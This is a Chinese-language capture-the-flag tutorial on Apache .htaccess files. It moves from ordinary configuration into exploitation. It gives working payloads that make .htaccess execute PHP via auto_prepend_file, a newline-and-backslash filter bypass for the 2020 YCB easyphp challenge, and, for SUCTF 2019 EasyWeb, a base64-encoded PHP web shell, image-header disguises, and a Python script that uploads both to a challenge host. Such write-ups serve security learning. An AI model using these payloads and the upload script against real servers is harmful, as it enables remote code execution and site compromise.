基于 .htaccess
文件的强大配置功能,本文将介绍其常见的使用方式,包括自定义错误页面、文件类型处理以及如何通过巧妙配置实现安全漏洞利用。
注意: .htaccess中有 # 单行注释,且支持 \ 拼接上下两行。
启动.htaccess文件的使用 Apache中修改配置文件httpd.conf,找到有关控制.htaccess文件的指令AllowOverride,进行如下设置:
常见使用方式 自定义错误页面 Apache主配置文件中修改<Directory>
指令块。
用于定义特定目录的配置,确保Require all granted允许所有用户访问 <Directory /> Options +Indexes +FollowSymLinks +ExecCGI AllowOverride All Order allow,deny Allow from all Require all granted </Directory>
语法格式如下:
ErrorDocument 401 /error/401.php ErrorDocument 403 /error/403.php ErrorDocument 404 /error/404.php ErrorDocument 500 /error/500.php
Handler和Type MIME
类型可以帮助服务器和客户端识别文件的类型,而不仅仅依赖文件扩展名。application/x-httpd-php
是一个特定的处理器名称,表示将这些文件交给PHP模块处理。
ForceType
指令用于强制指定文件的MIME类型 。SetHandler
指令用于为匹配的文件指定一个处理器 。
ForceType application/x-httpd-php SetHandler application/x-httpd-php <FilesMatch "exp.jpg"> SetHandler application/x-httpd-php </FilesMatch> #<FilesMatch> 是一个指令块,用于对匹配特定模式的文件应用配置指令。 #参数 "exp.jpg" 是一个正则表达式,用于匹配文件名。在这里,它匹配文件名正好为 exp.jpg 的文件。
AddType
指令用于将特定的MIME类型 与文件扩展名 关联起来。AddHandler
用于将处理器 与文件扩展名 关联起来。
AddType application/x-httpd-php .jt #拓展名为.jt的文件也可以执行php代码 AddHandler cgi-script .hhh #拓展名为.hhh的文件作为CGI脚本来处理
php_value 在主文件解析前后,自动将指定文件当作php文件解析:
php_value auto_prepend_file 1.txt 在主文件解析前,自动解析1.txt的内容 php_value auto_append_file 1.txt 在主文件解析后,自动解析1.txt的内容
当前目录下有php文件时,.htaccess把自己指定当作php文件处理:(# 是.htaccess中的单行注释)
php_value auto_append_file .htaccess #<?php system('ls');?>
参考文章:https://blog.51cto.com/u_15847702/5821101
例题 (羊城杯2020)easyphp
源码:
<?php if (!isset ($_GET ['content' ]) || !isset ($_GET ['filename' ])) { highlight_file (__FILE__ ); die (); } $content = $_GET ['content' ]; if (stristr ($content ,'on' ) || stristr ($content ,'html' ) || stristr ($content ,'type' ) || stristr ($content ,'flag' ) || stristr ($content ,'upload' ) || stristr ($content ,'file' )) { echo "Hacker" ; die (); } $filename = $_GET ['filename' ]; if (preg_match ("/[^a-z\.]/" , $filename ) == 1 ) { echo "Hacker" ; die (); } file_put_contents ($filename , $content . "\nHello, world" );
思路:
因为index.php会将所有不是index.php的文件都删除,所以这里要想到利用.htaccess的php_value auto_prepend_file来攻击,其可以使任意file在主文件即index.php解析前被当作php文件解析。
要利用的poc
php_value auto_prepend_file .htaccess #<?php system('ls');?>
content过滤了file,解决思路:可以将file写成fil%0Ae,使fil在上一行,e在下一行,再利用 \ 连接上下两行,如fil%0Ae即可。
在content后添加\nHello, world
不符合.htaccess格式,解决思路:在末尾加一个 \ 将后加的\n给转义掉。
最后payload如下:
?content=php_value auto_prepend_fil\%0 Ae .htaccess%0 A%23 <?php system ('ls /' );?> \&filename=.htaccess
题目:SUCTF 2019EasyWeb
源码:
怎么让.htaccess
文件被当作图片呢?
法一:
在文件前加 #define width 1337 #define height 1337
法二:
在.htaccess前添加x 00 x 00 x 8 ax39 x 8 ax39 (要在十六进制编辑器中添加,或者使用python的bytes类型) x 00 x 00 x 8 ax39 x 8 ax39 是wbmp文件的文件头.htaccess中以0x00 开头的同样也是注释符,所以不会影响.htaccess
由于文件内容过滤了<?
,我们就不能写php代码了,可以将马进行base64
编码
GIF89a12 PD9waHAgZXZhbCgkX1JFUVVFU1RbJ3NoJ10pOz8+
当然我们还需要对base64
编码的马进行解码,可以利用伪协议php://filter
将1.jt
文件进行base64
解码,利用auto_append_file
来包含解码后的文件1.jt
#define width 1337 #define height 1337 AddType application/x-httpd-php .jt php_value auto_append_file "php://filter/convert.base64-decode/resource=./1.jt
脚本
import base64import requestsdef Htaccess (url,data ): htaccess = ''' #define width 1337 #define height 1337 AddType application/x-httpd-php .jt php_value auto_append_file "php://filter/convert.base64-decode/resource=./1.jt" ''' files = {"file" :(".htaccess" ,htaccess,"image/jpeg" )} res = requests.post(url=url,data=data,files=files) print (res.text) def Shell (url,data ): shell = b"GIF89a12" + base64.b64encode(b"<?php eval($_REQUEST['sh']);?>" ) files = {"file" :("1.jt" ,shell,"image/jpeg" )} res = requests.post(url=url,data=data,files=files) print (res.text) if __name__ == '__main__' : payload = '?_=${%86%86%86%86^%d9%c1%c3%d2}{%86}();&%86=get_the_flag' url = 'http://a7c9df93-30ed-44c8-ba5b-3287d8f220b6.node5.buuoj.cn:81/' +payload post_data = {"upload" :"Submit" } Htaccess(url,post_data) Shell(url,post_data)